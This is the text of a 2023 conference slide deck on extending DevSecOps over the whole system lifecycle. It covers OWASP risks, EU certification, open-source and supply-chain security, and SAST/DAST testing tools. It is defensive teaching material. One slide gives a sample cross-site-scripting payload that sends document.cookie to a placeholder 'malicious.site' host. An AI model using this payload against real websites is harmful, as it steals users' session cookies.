Extending DevSecOps
to the whole cyber system lifecycle

Yuri Demchenko
Complex Cyber Infrastructure, University of Amsterdam
SECCON2023 NL Conference
28 September 2023, Amsterdam

SECCON2023

Extending DevSecOps to full Application Lifecycle1Outline•

Background to this research– DevOps and DevSecOps and necessary System and Software Engineering foundation: Is DevSecOps
enough for secure system design?

•

DevSecOps and Secure Continuous Delivery Pipeline– Develop - Inherit – Build – Deploy - Operate•••

Extended Systems Security Lifecycle: From DevSecOps to Supply Chain, Certifications, Audit andRisk Analysis
Inherit and Open Source Software security
Summary and discussion•

Disclaimer

SECCON2023

Extending DevSecOps to full Application Lifecycle2

Yuri Demchenko,
Senior Researcher, Lecturer, Complex Cyber Infrastructure Group, UvA•

Graduated and PhD from National Technical University of Ukraine “Kiev Polytechnic Institute”– University of Amsterdam – since 2003•

Research areas– Big Data Infrastructure and Data Science platforms– DevOps and cloud software development platform, Sustainable Architecture Design Principles– Cloud security and compliance•

Teaching courses (on campus and online)
–
–
–
–
–

•

Big Data Infrastructure and Technologies for Data Analytics (BDIT4DA)
Cloud Computing Engineering (CCENG), Web Services and Cloud Computing
DevOps and Cloud based Software Development (DevOps)
Web technologies and Databases (WebDB)
Security Engineering (SN) - historical

Recent projects
–
–
–
–
–

EDISON: Building the Data Science Profession for Europe
GEANT4 Research: Cloud aware networking infrastructure provisioning on-demand
FAIRsFAIR: FAIR Data Management and Data Stewardship
SLICES-DS/SLICES-PP: Research Infrastructure for experimentation of digital technologies
GreenDIGIT: Green]er Future [DIGIT]al Research Infrastructures

BDIT4DA & Cloud

Course Introduction3Outline•

Background to this research– DevOps and DevSecOps and necessary System and Software Engineering foundation: Is DevSecOps
enough for secure system design?

•

DevSecOps and Secure Continuous Delivery Pipeline– Develop - Inherit – Build – Deploy - Operate•••

Extended Systems Security Lifecycle: From DevSecOps to Supply Chain, Certifications, Audit andRisk Analysis
Inherit and Open Source Software security
Summary and discussion•

Disclaimer

SECCON2023

Extending DevSecOps to full Application Lifecycle

4Recent global security attacks(besides data breaches, phishing, ransomware, identity theft)• 2019-2020 – SolarWinds attack/hack – targeting Software Supply Chain
https://www.solarwinds.com/sa-overview/securityadvisory– Malicious code infiltrated into Windows and apps supply chain• Around 18,000 customers installed affected update into their systems– Possible access of Windows code repository– Caused security update and re-design of Windows codebase• 2021 - CodeCov – targeting development process and supply chain– CodeCov breach allowed the attackers to export information stored in its users' continuous
integration (CI) environments• 2021 - Java log4j library – used in most of telecom equipment– Zero day exploit of log4j vulnerability• 2022 - OKTA (identity service provider) security breach– GitHub source code was stolen, no data was compromised
SECCON2023

Extending DevSecOps to full Application Lifecycle

5Controversies and Shortages• Rise of DevOps and “Fail faster” philosophy/mentality– Just write code and test later vs careful/consistent design?
– Requires strong system and security architecture knowledge• OWASP Vulnerabilities list and CSA Top Egregious Incidents Analysis– Majority are either obvious design mistakes or shortages• Other security pitfalls: Open Source Software security– Too much trust on OSS• Complex Cyber Systems security: Complexity of software and product lifecycle to beaddressed– Includes stages from requirements engineering to certification and risk analysis• Security by Design: Systematic approach is needed – But not yet there– Any known solution to this problem?
– Problem: Fragmented security methodologies, tools and consequently knowledge and competence
SECCON2023

Extending DevSecOps to full Application Lifecycle

6

OWASP Top Application Security Risks – Example from 2017https://owasp.org/www-project-top-ten/
A1:2017-Injection
Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or
query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper
authorization.
A2:2017-Broken Authentication
Application functions related to authentication and session management are often implemented incorrectly.
A3:2017-Sensitive Data Exposure
Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII.
A4:2017-XML External Entities (XXE)
Many older or poorly configured XML processors evaluate external entity references within XML documents.
A5:2017-Broken Access Control
Restrictions on what authenticated users are allowed to do are often not properly enforced.
A6:2017-Security Misconfiguration
Security misconfiguration is the most commonly seen issue.
A7:2017-Cross-Site Scripting (XSS)
XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user tomalicious sites.
A8:2017-Insecure Deserialization
Insecure deserialization often leads to remote code execution.
A9:2017-Using Components with Known Vulnerabilities
Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application.
A10:2017-Insufficient Logging&Monitoring
Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack
systems. Most breach studies show time to detect a breach is over 200 days.

DevSecOps:Design, Inherit, Test

SECCON2023

Extending DevSecOps to full Application Lifecycle

7

OWASP Top 10 API security risks: 2023
https://owasp.org/www-project-api-security/
OWASP 2023

OAWSP 2019

1. Broken object level authorization
2. Broken authentication• API1:2019 Broken Object Level
Authorization

3. Broken object property level authorization• API2:2019 Broken User Authentication

4. Unrestricted resource consumption• API3:2019 Excessive Data Exposure

5. Broken function level authorization• API4:2019 Lack of Resources & Rate Limiting

6. Server side request forgery• API5:2019 Broken Function Level
Authorization

7. Security misconfiguration
8. Lack of protection from automated threats
9. Improper asset management
10. Unsafe consumption of APIs

• API6:2019 Mass Assignment• API7:2019 Security Misconfiguration• API8:2019 Injection• API10:2019 Insufficient Logging & Monitoring

DevSecOps:Design, Inherit, Test
SECCON2023

Extending DevSecOps to full Application Lifecycle

8Recent Cloud Security Alliance (CSA) Publications – Interestingreading•

Top Threats to Cloud Computing: The Egregious 11 (2019)https://cloudsecurityalliance.org/download/artifacts/top-threats-to-cloud-computing-egregious-eleven/https://cloudsecurityalliance.org/download/artifacts/top-threats-egregious-11-deep-dive/– Contains stories about recent cloud breaches: all due to customer lame design and compromised credentials•

Top Threats to Cloud Computing: Deep Dive (2018)https://cloudsecurityalliance.org/download/artifacts/top-threats-to-cloud-computing-deep-dive/– A case study analysis for The Treacherous 12 Top Threats to Cloud Computing and relative industry breachanalysis•

Information Security Management through Reflexive Security (2019)https://cloudsecurityalliance.org/download/artifacts/information-security-management-through-reflexive-security/– Achieving Reflexive Security through integration of security development and Operations•

The Six Pillars of DevSecOps (2019)https://cloudsecurityalliance.org/artifacts/six-pillars-of-devsecops/•

Cloud Octagon Model (2019)https://cloudsecurityalliance.org/artifacts/top-threats-to-cloud-computing-egregious-eleven– Model for Improving Accuracy and Completeness of cloud computing Risk Assessment

SECCON2023

Extending DevSecOps to full Application Lifecycle

9From Top Threats to Cloud

Computing: The Egregious 11 (2019)

Examples: Anecdotical

SECCON2023

Extending DevSecOps to full Application Lifecycle

10Questions• How can we address the problem of the consistent Security Design?
• Is DevSecOps sufficient?

SECCON2023

Extending DevSecOps to full Application Lifecycle

11

Controversy in Security Design• Security requirements are treated as non-functional requirements in most projects• Security testing is often performed at the end of the service or application
development and deployment• However, steps on integration of security services must start at the beginning of
the project– Modern practices such as DevSecOps include security aspects into the development andtesting at the Development stage of the product lifecycle– Security testing must include not only new code but also libraries used/inherited

SECCON2023

Extending DevSecOps to full Application Lifecycle

12

DevSecOps Secure Continuous Delivery Pipeline and extended
Use Cases• Design– What do you intend your software to do? Did
you make sensitive flows secure?

• Inherit– What software have you inherited, such as
libraries and dependencies?

• Develop– As you develop, do you write security tests?

• Build– As you build your software, do you havesecurity acceptance?

• Deploy

Example use cases for the wholesystem lifecycle• UC01: Cyber System Security
Certification• UC02: Security Risk Analysis andModelling• UC03: Software integration andtesting• UC04: Supply Chain Security andSoftware Testing– What happens to get software into production?
Are the secrets and config being kept safe?

• Operate– Are you under active attack at this moment?
What is getting attacked?
DevOps Cloud

DevSecOps and CD/CI Pipeline

13

DevSecOps: Extended Secure Continuous Integration and Delivery
Pipeline
REReqEng•

Modelling

Design/Develop

Inherit/
Integrate

Requirements Engineering (RE)•– Service and environment analysis•

Modeling•

Design/Develop– What do you intend your software to do? Did you•
make sensitive flows secure?
– As you develop, do you write security tests?

•

Inherit– Code check: What software have you inherited,such as libraries and dependencies?

SECCON2023

Deploy/Staging

Prod/Ops

Build– As you build your software, do you have security
acceptance?

– Service and threats modelling•

Build/
Test/QA•

Assess/Test/QA– Vulnerability assessment, risk assessment
according to system model

Deploy– What happens to get software into production?
Are the secrets and config being kept safe?

Operate– Are you under active attack at this moment? Whatis getting attacked?

Extending DevSecOps to full Application Lifecycle

14

DevSecOps: Secure Continuous Delivery Pipeline with Security
Testing and Certification
RE-ReqEng

Inherit/
Integrate

Design/Develop

Modelling

Design Patterns

Requirements

Build/
Test/QA

Test Known Vuln
CVE, OWASP, CWE

Deploy/Staging

Prod/Ops

Test Security Controls:
SAST & DAST

Cert &
Audit

Certification Framework: Set of Security Controls (ECCF)•

Requirements Engineering (RE)–••Service and threats modelling

–

Build
–

•

What do you intend your software to do? Did•
you make sensitive flows secure?
As you develop, do you write security tests?
Code check: What software have you
inherited, such as libraries anddependencies?

•

Vulnerability assessment, risk assessment
according to system model

Deploy–Inherit–As you build your software, do you havesecurity acceptance?

Assess/Test/QA–

Design/Develop–•

Service and environment analysis

Modeling–•

What happens to get software into
production? Are the secrets and config being
kept safe?

Operate–Are you under active attack at this moment?
What is getting attacked?

Certification and Audit•••

Security testing DAST and SAST••••SECCON2023

Extending DevSecOps to full Application Lifecycle

EU Cybersecurity Certification
Framework (ECCF)
ISO27001
CSA CAIQ

CVE – Common Vulnerabilities
and Exposures
CVSS - Common Vulnerability
Scoring System
OWASP – Open Web Applications
Security Projects
CWE - Common Weakness
Enumeration

15

European Cybersecurity Regulation• EU Cybersecurity Act (2019) - https://eur-lex.europa.eu/eli/reg/2019/881/oj– General principles, definitions– ENISA functions formalisation• Market and technology research, strategic analysis• Innovation, awareness rising, education– European Cybersecurity Certification Group (ECCG) and National bodies– European Cybersecurity certification requirements and elements• EU Cybersecurity Certification (CC) Framework, by ENISA (2021)

https://www.enisa.europa.eu/publications/cybersecurity-certification-eucc-candidate-scheme-v1-1.1– General principles, requirements– Reference to Intl standards: ISO 27000– Examples for Integrated Circuits, Smart Cards and similar devices• Goals and expected effect:– Increase trust to ICT, setup common certification process in EU– Provide basis for cybersecurity and trustworthiness by design
SECCON2023

Extending DevSecOps to full Application Lifecycle

16

ECCF References tostandards•••

CSA (Cybersecurity Act) REGULATION (EU)2019/881 OF THE EUROPEAN PARLIAMENTAND OF THE COUNCIL of 17 April 2019 on
ENISA (the European Union Agency for
Cybersecurity) and on information andcommunications technology cybersecurity
certification and repealing Regulation (EU) No
526/2013.
SOG-IS MRA Mutual Recognition Agreement ofInformation Technology Security Evaluation
Certificates VERSION 3.0, MANAGEMENTCOMMITTEE, January 2010.
CCRA ARRANGEMENT on the Recognition ofCommon Criteria Certificates In the field ofInformation Technology Security, July 2, 2014.

SECCON2023

Extending DevSecOps to full Application Lifecycle

17Reference: System Cybersecurity Model and Requirements
Engineering
Annex A of ISO 27001 comprises 114 controls which
are grouped into the following 14 control categories:
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.

Information Security Policies
Organisation of Information Security
Human Resources Security
Asset Management
Access Control
Cryptography
Physical and Environmental Security
Operational Security
Communications Security
System Acquisition, Development and MaintenanceSupplier Relationships
Information Security Incident Management
Information Security Aspects of Business Continuity
Management
Compliance

SECCON2023

CSA CAIQ security controls categories (total 201 controls
and 260 questions)
1.
Application & Interface Security
2.
Audit Assurance & Compliance3.
Business Continuity Management & Operational
Resilience
4.
Change Control & Configuration Management
5.
Data Security & Information Lifecycle Management
6.
Encryption & Key Management
7.
Governance and Risk Management
8.
Human Resources
9.
Identity & Access Management
10. Infrastructure & Virtualization Security
11. Interoperability & Portability
12. Mobile Security
13. Security Incident Management, E-Discovery, & Cloud
Forensics
14. Supply Chain Management, Transparency, andAccountability
15. Threat and Vulnerability Management

Extending DevSecOps to full Application Lifecycle

18

From DevSecOps to full System/Software Lifecycle: Aligning with
Testing, Risk Assessment, Certification
Supply Chain

Trustworthy Methodologies

SW Updates

SW Inventory/BOM
RE-ReqEng

Requirements

Modelling

Design/Develop

Design Patterns

Inherit/
Integrate

Build/
Test/QA

Test Known Vuln
CVE, OWASP, CWE

SASTDeploy/Staging

Prod/Ops

Test Known Sec Vuln &Security Controls
DAST

Cert &
Audit

Testing – SAST and DAST

Risk Analysis (Continuous)
Certification Framework: Set of Security Controls (ECCF)••

Supply chain may cover stages Integrate/SAST – (Test/Assess/DAST) – Deploy – Operation
Updates may include stages (Inherit/SAST) – (Test/Assess/DAST) – Deploy – Operation

SECCON2023

Extending DevSecOps to full Application Lifecycle

19

Need for Trustworthy Methodologies and Security by Design
Methodologies• Trustworthy Systems Design• SSDLC and Secure Systems Modeling• Data Security by Design
REReqEng

Modelling

Supply Chain

Inherit/
Integrate

Design/Develop

Design Patterns

Requirements

SW Updates

SW Inventory/BOM
Build/
Test/QA

Test Known Vuln
CVE, OWASP, CWE
SASTDeploy/Staging

Test Known Sec Vuln &Security Controls
DAST

Testing – SAST and DAST

Risk Analysis (Continuous)
Certification Framework: Set of Security Controls (ECCF)• SDLC and Secure Systems ModelingUC03: Secure Supply
Chain & DAST

Prod/Ops

Cert &
Audit
UC04*:SW Integration& Testing
UC02: Risk Assessment& System modelingUC01: Security
Certification• Model to be used for RA at CI and SSC stages• Extend Threats modeling: Microsoft STRIDE, OWASP• Trustworthy Systems Design• Methodology and design patterns, using Trusted Computing Base and Confidential Computing• Data Security by Design• Extending SSDL for Data centric security and policy/rules enforcement data sharing and processing
SECCON2023

Extending DevSecOps to full Application Lifecycle

20

DevSecOps and Automated Security Testing• Waterfall roots:– Often done at the end of product development and in short timeline– Security ends up as blocking release• Traditional InfoSec crisis: Lost identity– 100 devs:10 ops:1 sec – source of problem (hidden to the time)• DevOps meets Security -> DevSecOps– Change the culture from Waterfall– Security developer to embrace the role of Enabler: How can we help?
• Seek to Added Value• However needs further extension– Demand for compliance: Passing Audit = Security– Risk management and security– Secure the Software Supply Chain
SECCON2023

Extending DevSecOps to full Application Lifecycle

21Secure Continuous Delivery Pipeline• Design– What do you intend your software to do? Did you make sensitive flows secure?

• Inherit– What software have you inherited, such as libraries and dependencies?

• Develop– As you develop, do you write security tests?

• Build– As you build your software, do you have security acceptance?

• Deploy– What happens to get software into production? Are the secrets and config being kept
safe?

• Operate– Are you under active attack at this moment? What is getting attacked?
SECCON2023

Extending DevSecOps to full Application Lifecycle

22Security Development Practices and OSS• Security of Open Source Software (OSS) is slightly agitated– When it comes to catching and fixing security issues, simply having more eyes on the problem
isn't enough.
– Security problems require security expertise and not all developers are security experts.
• They may know enough to try and implement certain fixes, but this can create a false senseof risk mitigation.
• More advanced topics like cryptography, for example, further narrow the field for those who
can review code for such security flaws.
– Dependencies in open source projects allow some vulnerabilities to fly under the radar. Projects
that include unknown third-party libraries pulled from package managers may be passing onvulnerabilities that aren't easily visible.

SECCON2023

Extending DevSecOps to full Application Lifecycle

23Inherited Open Source Software• https://www.sonatype.com/2018survey
31% suspect or have verified a breach due to Open Source components• Inherited components in breaches– Libraries– Dependencies– Frameworks– OS packages• Publish a bill of materials (BOM)– A software bill of materials (software BOM) is a list of components in a piece of software.
– Let it review by security experts

SECCON2023

Extending DevSecOps to full Application Lifecycle

24Inherit and Test: More attention to OSS security needed••

There's also no standard way of documenting security on open source projects. In the top 400,000
public repositories on GitHub, only 2.4% had security documentation in place.
According to the latest Veracode report, only 28% of organizations do any kind of regular analysis
to find out what components are built into their applications.
– 94% commercial software have dependencies on OSS libraries– As the use of open source code grows, this risk surface expands.

•

According to the Snyk survey (https://snyk.io/):– 88% of open source code maintainers add security-related announcements to the release notes– 34% say that they deprecate the older, insecure version.
– 25% that they make no effort at all to notify users of vulnerabilities– only 10% file a CVE reports• Huawei 5G security concerns are primarily originated from insufficient security assuranceof using OSS in their products

SECCON2023

Extending DevSecOps to full Application Lifecycle

25Summary and Discussion• Extended DevSecOps or define a new wider concept• How to improve security and system design from the beginning?
– Education, Training, more tools?

• Examples:– Master Software Engineering curricula dropped Software Architecture course– Consequences: Quality of student course and graduation projects declined• Can we define consistent and practical Security by Design practice?
– So far, there is no one
SECCON2023

Extending DevSecOps to full Application Lifecycle

26

Need for Trustworthy Methodologies and Security by Design
Methodologies• Trustworthy Systems Design• SSDLC and Secure Systems Modeling• Data Security by Design
REReqEng

Modelling

Supply Chain

Inherit/
Integrate

Design/Develop

Design Patterns

Requirements

SW Updates

SW Inventory/BOM
Build/
Test/QA

Test Known Vuln
CVE, OWASP, CWE
SASTDeploy/Staging

Test Known Sec Vuln &Security Controls
DAST

Testing – SAST and DAST

Risk Analysis (Continuous)
Certification Framework: Set of Security Controls (ECCF)• SDLC and Secure Systems ModelingUC03: Secure Supply
Chain & DAST

Prod/Ops

Cert &
Audit
UC04*:SW Integration& Testing
UC02: Risk Assessment& System modelingUC01: Security
Certification• Model to be used for RA at CI and SSC stages• Extend Threats modeling: Microsoft STRIDE, OWASP• Trustworthy Systems Design• Methodology and design patterns, using Trusted Computing Base and Confidential Computing• Data Security by Design• Extending SSDL for Data centric security and policy/rules enforcement data sharing and processing
SECCON2023

Extending DevSecOps to full Application Lifecycle27Additional Information• Data Security by Design• Deployment and Operation stages Security Testing

SECCON2023

Extending DevSecOps to full Application Lifecycle

28

Dataflow Stages and Security Aspects: security design targets
Data Source(IoT, Sensor
Experiment)

Data Input/Ingest

Data Storage

Algor
DC

Comp

DC

Store
A/C/S

DC

DC/APIV

Communicate

V

Nwk

V

DC

A/C/S

Algor

Algor
DC

Comp

DC

DC

V

V

V

V

Nwk

V

DC

A/C/S

Comp

DC

Store

Store
DC

ReportingArchiving &Publication

Data Analysis
Model Building

DC

V

V

V

V

Nwk

V

DC

A/C/S

DC

V

V

V

V

Nwk

DC

A/C/S

V
V

V

CPU/Comp

V

V

(V)

V

V

Storage

V

V

V

V

V

Algorithm

V

V

(V)

V

V

SECCON2023

Extending DevSecOps to full Application Lifecycle

29Security Testing: Development, Deployment and Operation stages

SECCON2023

Extending DevSecOps to full Application Lifecycle

30Secure Development• 3 key practices– Threat modeling– Development Standards– Static code analysis• Threat modeling using STRIDE by Microsoft– Spoofing of user identity– Tampering– Repudiation– Information disclosure– Denial of Service– Elevation of privilege• More agile tools based on OWASP standard– OWASP App Threat Modeling Cheat Sheet– OWASP Application Security Verification Standards– Mozilla Rapid Risk Assessment
SECCON2023

Extending DevSecOps to full Application Lifecycle

31Security Development Practices/Tools• SAST vs DAST – Static/Dynamic Apps Security Testing– White vs black box testing == Develop vs Build testing• Static code analysis– Open Source SAST options – some SAST work in IDE• PHP – Phan
• Java Web Apps – Find Security Bug• Node – NodeJsScan• Golang/Go - GoSec– Commercial• Veracode• Checkmarx• Synopsis– Problem: high level of false positive• git-secrets and git-hound
SECCON2023

Extending DevSecOps to full Application Lifecycle

32

Misconfiguration and secrets•

Creds leakage, e.g.
– Creds in source code on github– AWS access key in a version control history•

Use git-secrets
https://github.com/awslabs/git-secrets– Prevents from committing passwords and other sensitive information to a git repository– git-secrets scans commits, commit messages, and --no-ff (no fast-forward) merges to prevent adding
secrets into your git repositories.
– If a commit, commit message, or any commit in a --no-ff merge history matches one of your configured
prohibited regular expression patterns, then the commit is rejected.
– Installation for Linux, Mac, Windows•

Use: git secrets –scan[-history]

SECCON2023

Extending DevSecOps to full Application Lifecycle

33

Inherit tools• Use current Common Vulnerabilities and Exposure (CVE) database
https://cve.mitre.org/– CVE is a list of entries - each containing an identification number, a description, and at least one public
reference - for publicly known cybersecurity vulnerabilities.
– CVE Entries are used in numerous cybersecurity products and services from around the world, including
the U.S. National Vulnerability Database (NVD – https://nvd.nist.gov)• OWASP Dependency check– Software composition dependency test
– Dependency-test CLI• https://jeremylong.github.io/DependencyCheck/dependency-check-cli/index.html• Download: http://dl.bintray.com/jeremy-long/owasp/:dependency-check-ant-5.3.1-release.zip– Downloads all NVD repository– OWASP dependency-check-cli is an command line tool that uses dependency-check-core to detectpublicly disclosed vulnerabilities associated with the scanned project dependencies.
• The tool will generate a report listing the dependency, any identified Common Platform Enumeration (CPE)
identifiers, and the associated Common Vulnerability and Exposure (CVE) entries.

SECCON2023

Extending DevSecOps to full Application Lifecycle

34

Tool: Mozilla Rapid Risk Assessment (RRA)
https://infosec.mozilla.org/guidelines/risk/rapid_risk_assessment.html•••

The main objective of the RRA is to understand the value
and impact of a service to the reputation, finances,productivity of the project or business. It is based on thedata processed, stored or simply accessible by services.
Note that the RRA does not focus on enumerating andanalyzing security controls. The RRA process is intended
for analyzing and assessing services, not processes orindividual controls.
Threat scenarios
–
–
–

•
•

Confidentiality: What happens if all the data is disclosed to
the world?
Integrity: What happens if the data is incorrect, misleading,website defaced, etc.?
Availability: What happens if the data or service is missing,deleted, or currently unreachable?

Runs 30 – 60 min (interactive session)
Provided on request

SECCON2023

Extending DevSecOps to full Application Lifecycle

35JavaScript security analysis with Retire.js• Software composition analysis for Javascript Retire.js– Use Docker container for running Retire.js• Plethora of JavaScript libraries for use on the Web and in Node.JS apps greatly
simplifies development, but they need to stay up-to-date on security fixes.
• Insecure libraries can pose a huge risk to your application– "Using Components with Known Vulnerabilities" is a part of the OWASP Top 10 list of security
risks in web app.
– Retire.js helps detecting the use of JS-library versions with known vulnerabilities.

SECCON2023

Extending DevSecOps to full Application Lifecycle

36Other tools• Ruby– https://github.com/rubysec/bundler-audit• PHP security– https://github.com/sensiolabs/security-checker• Commercial– Sonatype – https://www.sonatype.com– Black Duck
– Veracode– WhiteSource• Container vulnerabilities test
– Clair - https://github.com/coreos/clair– Acquasec, Twistlock
SECCON2023

Extending DevSecOps to full Application Lifecycle

37Security testing in Build stage• Security considerations– Outside-in sec testing• BDD – Behavior Driven Development – from hacker point of view

– Dynamic Applications Security Testing (DAST)– Infrastructure testing e.g. SSH, Firewall, etc.
– Compliance testing• Questions– Have I validated previous two stages of the testing in secure build environment?
– Am I testing for security issues that are easy to catch where I can use automation of tools?
– Am I arming my pipeline with attack tools to test my applications?

SECCON2023

Extending DevSecOps to full Application Lifecycle

38

Apps Security testing – Build stage•OWASP XSS Cross-site Scripting– <script> // access to user session
windows.location=‘http://malicious.site/?
cookie=‘+document.cookie</script>•

DAST tools = Attackers’ tools
–
–
–
–
–

ArchniNikto
ZAP – Mozilla and OWASPSQLi Scanner – SQL injection
SQLmap/SSL/TLS Scanners• SSLScan• SSLi•GAUNTLT– Gauntlt provides hooks to a variety of security tools and puts them within reach of security, dev and ops teams tocollaborate to build rugged software. It is built to facilitate testing and communication between groups and create
actionable tests– GAUNTLT + Archni – quick test for XSS vulnerabilities hooked into your deploy and testing processes.

SECCON2023

Extending DevSecOps to full Application Lifecycle

39Security testing in Deploy stage• Need to test security at the speed of deployment– Accountability and auditability of deploy: who, when, what used
– Compliance• Questions– What security needed for deployment?
– Am I testing security for each and every deploy?
– Is there a repeatable mechanism to push changes to production?

• Tools– Rundeck - https://www.rundeck.com/open-source (community edition available)• Codifies standards operations procedures• Automate deployment tasks• Create self-service workflow• Provides good material for audit teams
SECCON2023

Extending DevSecOps to full Application Lifecycle

40

Deployment Security Testing tools• Most popular tools to protect web applications, APIs, microservices– Runtime application self-protection (RASP)– Web application firewall (WAF)• Focused on app layer security– OWASP injections attacks– Application abuse and misuse– ATO preventions– Bot/scraper defense• Open Source tools – limited– ModSecurity + ELK + StatsD• Commercial – primarily Java and Node.js– Contrast– Prevoty– Signal Sciences– tCell– Waratek
SECCON2023

Extending DevSecOps to full Application Lifecycle

41Compliance controversy: Auditors vs Developers•

Auditors typically look for– Policy– Process– Procedure•

DevOps Audit Defense Toolkit (2015)
https://cdn2.hubspot.net/hubfs/228391/Corporate/DevOps_Audit_Defense_Toolkit_v1.0.pdf– Advice for auditors to collect evidence•

http://dearauditor.org/ - by DevOps community– We have compiled a list of audit concerns and documented them in a DevOps Risk Control Matrix with
lot of details around the controls, our practices and evidences that are collected to support the control.
– https://docs.google.com/document/d/e/2PACX-1vSt_UG47Y4RXHImzZ38IYaZ_2IWFbXA4HTXm17SL39xsL3N6c4JChYzpj52wc4QVuj4VgQkZnIoKxB/pub

SECCON2023

Extending DevSecOps to full Application Lifecycle

42Compliance checking tools• Chef InSpec is compliance as code
https://www.inspec.io– Turn your compliance, security, and other policy requirements into automated tests– Includes compliance requirements into code

• In 3 simple steps– Write the test
– Run the test
– See the results

SECCON2023

Extending DevSecOps to full Application Lifecycle

43Security role in Operation Stage• Penetration testing– Recon– Mapping and inventory– Discovery– Exploit• Tools: Dynamic and Static– Static to find vulnerability in a source code not running it• Brakeman OSS• FindBug $$– Mapping and inventory• Retire.js• Dynamic tools– The same as attackers use– Downside: they are slow… discovery and exploitation• Arachni, Nikto, ZAP

SECCON2023

Extending DevSecOps to full Application Lifecycle

44Security testing in Operation stage• DevSecOps: Shift left + Shift right– Shift right for feedback• DevSecOps Instrumentation– Metrics based– Provide API to security testing tools– Promote learning (for all chain team)– Attacker driven• Modern Applications security (as service and as business)– Bug bounties• Dark side of bug bounties– Commercial companies• https://www.bugcrowd.com• https://www.hackerone.com
SECCON2023

Extending DevSecOps to full Application Lifecycle45

Cloud Security Config Monitoring• Practices– Configuration changes– Compliance– Audit– Hardening recommendations• Products– https://www.threatstack.com– https://www.alienvault.com– https://evident.io – multicloud solution• AWS Tools– AWS Config – Monitor configuration changes– AWS CloudTrail– Amazon Inspector– Amazon GuardDuty

SECCON2023

Extending DevSecOps to full Application Lifecycle

46

DevSecOps Summary
•
•
•
•
•

Empathy and enablement - cooperation
Be Fast and non-blocking
Don’t slow delivery
Automate, automate, automate
Security provides value through making security normal

SECCON2023

Extending DevSecOps to full Application Lifecycle

47